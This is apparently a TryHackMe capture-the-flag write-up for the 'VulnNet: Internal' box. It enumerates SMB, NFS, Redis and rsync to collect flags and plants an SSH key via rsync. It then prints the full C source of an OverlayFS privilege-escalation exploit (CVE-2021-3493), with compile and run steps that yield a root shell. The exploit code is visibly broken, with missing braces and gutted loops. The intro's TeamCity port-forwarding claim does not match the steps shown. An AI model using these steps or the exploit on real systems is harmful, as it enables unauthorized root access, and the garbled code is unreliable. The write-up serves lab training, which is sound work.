TryHackMe Writeup — VulnNet Internal

VulnNet: Internal is a Easy/Medium level Box. It includes enumerating different services and finding useful information to gain user access. For privilege escalation we have to use port forwarding to access TeamCity service and then we can run commands as root user.

VulnNet Internal

TryHackMe Room Link:

There are four flags that need to be submitted in order to complete the challenge:
1.Service Flag
2.Internal Flag
3.User Flag
4.Root Flag


We start the enumeration with a nmap scan to look for open ports and running services

Nmap Scan

nmap -A -vv >nmap
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 07:08
Completed NSE at 07:08, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 07:08
Completed NSE at 07:08, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 07:08
Completed NSE at 07:08, 0.00s elapsed
Initiating Ping Scan at 07:08
Scanning [2 ports]
Completed Ping Scan at 07:08, 0.20s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:08
Completed Parallel DNS resolution of 1 host. at 07:08, 0.03s elapsed
Initiating Connect Scan at 07:08
Scanning [1000 ports]
Discovered open port 139/tcp on
Discovered open port 111/tcp on
Discovered open port 22/tcp on
Discovered open port 445/tcp on
Discovered open port 2049/tcp on
Discovered open port 873/tcp on
Increasing send delay for from 0 to 5 due to max_successful_tryno increase to 4
Completed Connect Scan at 07:09, 34.33s elapsed (1000 total ports)
Initiating Service scan at 07:09
Scanning 6 services on
Completed Service scan at 07:09, 11.66s elapsed (6 services on 1 host)
NSE: Script scanning
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 07:09
Completed NSE at 07:09, 6.47s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 07:09
Completed NSE at 07:09, 0.43s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 07:09
Completed NSE at 07:09, 0.00s elapsed
Nmap scan report for
Host is up, received conn-refused (0.21s latency).
Scanned at 2022–01–15 07:08:47 EST for 53s
Not shown: 990 closed tcp ports (conn-refused)
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 5e:27:8f:48:ae:2f:f8:89:bb:89:13:e3:9a:fd:63:40 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDagA3GVO7hKpJpO1Vr6+z3Y9xjoeihZFWXSrBG2MImbpPH6jk+1KyJwQpGmhMEGhGADM1LbmYf3goHku11Ttb0gbXaCt+mw1Ea+K0H00jA0ce2gBqev+PwZz0ysxCLUbYXCSv5Dd1XSa67ITSg7A6h+aRfkEVN2zrbM5xBQiQv6aBgyaAvEHqQ73nZbPdtwoIGkm7VL9DATomofcEykaXo3tmjF2vRTN614H0PpfZBteRpHoJI4uzjwXeGVOU/VZcl7EMBd/MRHdspvULJXiI476ID/ZoQLT2zQf5Q2vqI3ulMj5CB29ryxq58TVGSz/sFv1ZBPbfOl9OvuBM5BTBV
| 256 f4:fe:0b:e2:5c:88:b5:63:13:85:50:dd:d5:86:ab:bd (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNM0XfxK0hrF7d4C5DCyQGK3ml9U0y3Nhcvm6N9R+qv2iKW21CNEFjYf+ZEEi7lInOU9uP2A0HZG35kEVmuideE=
| 256 82:ea:48:85:f0:2a:23:7e:0e:a9:d9:14:0a:60:2f:ad (ED25519)
111/tcp open rpcbind syn-ack 2–4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 47846/udp6 mountd
| 100005 1,2,3 51893/tcp mountd
| 100005 1,2,3 52114/udp mountd
| 100005 1,2,3 54049/tcp6 mountd
| 100021 1,3,4 39323/udp nlockmgr
| 100021 1,3,4 41673/tcp nlockmgr
| 100021 1,3,4 41907/tcp6 nlockmgr
| 100021 1,3,4 59210/udp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
139/tcp open netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
873/tcp open rsync syn-ack (protocol version 31)
1086/tcp filtered cplscrambler-lg no-response
2049/tcp open nfs_acl syn-ack 3 (RPC #100227)
3945/tcp filtered emcads no-response
9090/tcp filtered zeus-admin no-response
56738/tcp filtered unknown no-response
Service Info: Host: VULNNET-INTERNAL; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -6h20m03s, deviation: 34m38s, median: -6h00m03s
| nbstat: NetBIOS name: VULNNET-INTERNA, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| VULNNET-INTERNA<00> Flags: <unique><active>
| VULNNET-INTERNA<03> Flags: <unique><active>
| VULNNET-INTERNA<20> Flags: <unique><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1e> Flags: <group><active>
| Statistics:
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| smb2-time:
| date: 2022–01–15T06:09:31
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| p2p-conficker:
| Checking for Conficker.C or higher…
| Check 1 (port 53408/tcp): CLEAN (Couldn't connect)
| Check 2 (port 34685/tcp): CLEAN (Couldn't connect)
| Check 3 (port 9485/udp): CLEAN (Failed to receive data)
| Check 4 (port 22333/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: vulnnet-internal
| NetBIOS computer name: VULNNET-INTERNAL\x00
| Domain name: \x00
| FQDN: vulnnet-internal

As you can see, multiple ports are open and different services are running on each port. First let’s enumerate the SMB shares using the following command:

❯ smbmap -H
[+] Guest session IP: Name:
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
shares READ ONLY VulnNet Business Shares
IPC$ NO ACCESS IPC Service (vulnnet-internal server (Samba, Ubuntu))

First Flag

Now let’s try anonymous access on SMB share “shares” using the following command.

❯ smbclient //
Enter WORKGROUP\sak's password:
Try "help" to get a list of possible commands.
smb: \> ls
smb: \>

We found three files in both temp and data directory and using the get command we can download all the files in our local system. Just download all file and you got your first flag from those file.

Note: In one of the files we found our first flag. But the other two files didn’t have any useful information.

Second Flag

Looking at the NMAP service scan from earlier, I saw that port 2049 was open and noticed that there was a lot of output for port 111. I can see in the output for port 111, that the service NFS was present in the output. This indicates that I might be able to list and download (and maybe upload) files.

❯ sudo showmount -e
[sudo] password for sak:
Export list for
/opt/conf *

Now we need to mount /opt/conf in our local directory, and for that we need to create a mount point (directory) with the name mount0.

While traversing different directories we found something interesting in the redis directory , redis.conf contains the password for redis.

❯ cat redis.conf | grep "pass"
# 2) No password is configured.
# If the master is password protected (using the "requirepass" configuration
# masterauth <master-password>
requirepass "B65Hx562F*****"

Now we can access redis using redis-cli utility using the following command:

❯ redis-cli -h -p 6379 -a "B65Hx562F****"
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.>

In here -h (IP) & -a(Password)

To get all the keys in redis, we can run the command KEYS *.> KEYS * 1) "int" 2) "internal flag" 3) "authlist" 4) "tmp" 5) "marketlist">

Our second flag is present in the file named internal flag and we can read it using the command:

GET "internal flag"

User Flag

To find the type of a key in redis we run the command “type <key_name>”> type authlist

We found that authlist is a list type key and to read it's value we can run the following command:> lrange authlist 1 10
1) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4**************************"

In here we got four base64 message.

After decoding this base64 message, we found the credentials for rsync.

N.B. rsync is a utility for efficiently transferring and synchronizing files between a computer and an external hard drive and across networked computers.

Rsync, or Remote Sync, is a free command-line tool that lets you transfer files and directories to local and remote destinations. Rsync is used for mirroring, performing backups, or migrating data to other servers.

To get name of all the files or directories we can use the following command:

$rsync -av rsync://rsync-connect@
receiving incremental file list
created directory /sys-internal/

After the command is executed, all the files will be copied in /sys-internal/ directory in our local system and there we found the user flag.

Or you also use this command.

$ rsync rsync://rsync-connect@ user.txt .

User Shell Access

While enumerating sys-internal files and directories, we found .ssh directory and we know that using rsync we can upload files. So we upload our to the .ssh directory using the command shown below.

❯ rsync /home/sak/.ssh/ rsync://rsync-connect@
sent 661 bytes received 144 bytes 84.74 bytes/sec
total size is 565 speedup is 0.70

Now we can easily get user shell access by using id_rsa private key.

❯ sudo ssh sys-internal@ -i /home/sak/.ssh/id_rsa
[sudo] password for sak: .
sys-internal@vulnnet-internal:~$ id
uid=1000(sys-internal) gid=1000(sys-internal) groups=1000(sys-internal),24(cdrom)

Now we have a SSH access to the target machine.

Privilege Escalation

In here I upload “” script to identify What type of command I can run. I find os vertion “ubuntu 18.4”. we all know it have

— OverlayFS PE Vulnerability.

Reference Link



So, we can get root privilege by this Exploit-

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);

#define DIR_BASE "./ovlcap"
#define DIR_WORK DIR_BASE "/work"
#define DIR_LOWER DIR_BASE "/lower"
#define DIR_UPPER DIR_BASE "/upper"
#define DIR_MERGE DIR_BASE "/merge"
#define BIN_MERGE DIR_MERGE "/magic"
#define BIN_UPPER DIR_UPPER "/magic"

static void xmkdir(const char *path, mode_t mode)
if (mkdir(path, mode) == -1 && errno != EEXIST)
err(1, "mkdir %s", path);

static void xwritefile(const char *path, const char *data)
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "open %s", path);
ssize_t len = (ssize_t) strlen(data);
if (write(fd, data, len) != len)
err(1, "write %s", path);

static void xcopyfile(const char *src, const char *dst, mode_t mode)
int fi, fo;

if ((fi = open(src, O_RDONLY)) == -1)
err(1, "open %s", src);
if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
err(1, "open %s", dst);

char buf[4096];
ssize_t rd, wr;

for (;;) {
rd = read(fi, buf, sizeof(buf));
if (rd == 0) {
} else if (rd == -1) {
if (errno == EINTR)
err(1, "read %s", src);

char *p = buf;
while (rd > 0) {
wr = write(fo, p, rd);
if (wr == -1) {
if (errno == EINTR)
err(1, "write %s", dst);
p += wr;
rd -= wr;


static int exploit()
char buf[4096];

sprintf(buf, "rm -rf '%s/'", DIR_BASE);

xmkdir(DIR_BASE, 0777);
xmkdir(DIR_WORK, 0777);
xmkdir(DIR_LOWER, 0777);
xmkdir(DIR_UPPER, 0777);
xmkdir(DIR_MERGE, 0777);

uid_t uid = getuid();
gid_t gid = getgid();

if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
err(1, "unshare");

xwritefile("/proc/self/setgroups", "deny");

sprintf(buf, "0 %d 1", uid);
xwritefile("/proc/self/uid_map", buf);

sprintf(buf, "0 %d 1", gid);
xwritefile("/proc/self/gid_map", buf);

sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
err(1, "mount %s", DIR_MERGE);

// all+ep
char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
err(1, "setxattr %s", BIN_MERGE);

return 0;

int main(int argc, char *argv[])
if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
err(1, "execl /bin/bash");

pid_t child = fork();
if (child == -1)
err(1, "fork");

if (child == 0) {
} else {
waitpid(child, NULL, 0);

execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
err(1, "execl %s", BIN_UPPER);

Now save The above code & copy it.

❯sys-internal@vulnnet-internal:~$ nano exploit.c
/put here the above code
//than close nano

Now we need to compile it..

Reference —

❯sys-internal@vulnnet-internal:~$ gcc exploit.c -o exploit

Now run the exploit..

❯sys-internal@vulnnet-internal:~$ ./exploit
bash-4.4# id
uid=1000(sys-internal) gid=1000(sys-internal) euid=0(root) groups=1000(sys-internal),24(cdrom)
bash-4.4# cd /root
bash-4.4# ls
bash-4.4# cat root.txt |wc -c

We are root now and a very interesting room is completed!

In this room we learned about —

  • SMB service enumeration
  • RPC Service enumeration
  • use of rsync
  • Team service Project and build configuration
  • CVE-2021–3493 — OverlayFS PE Vulnerability



Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store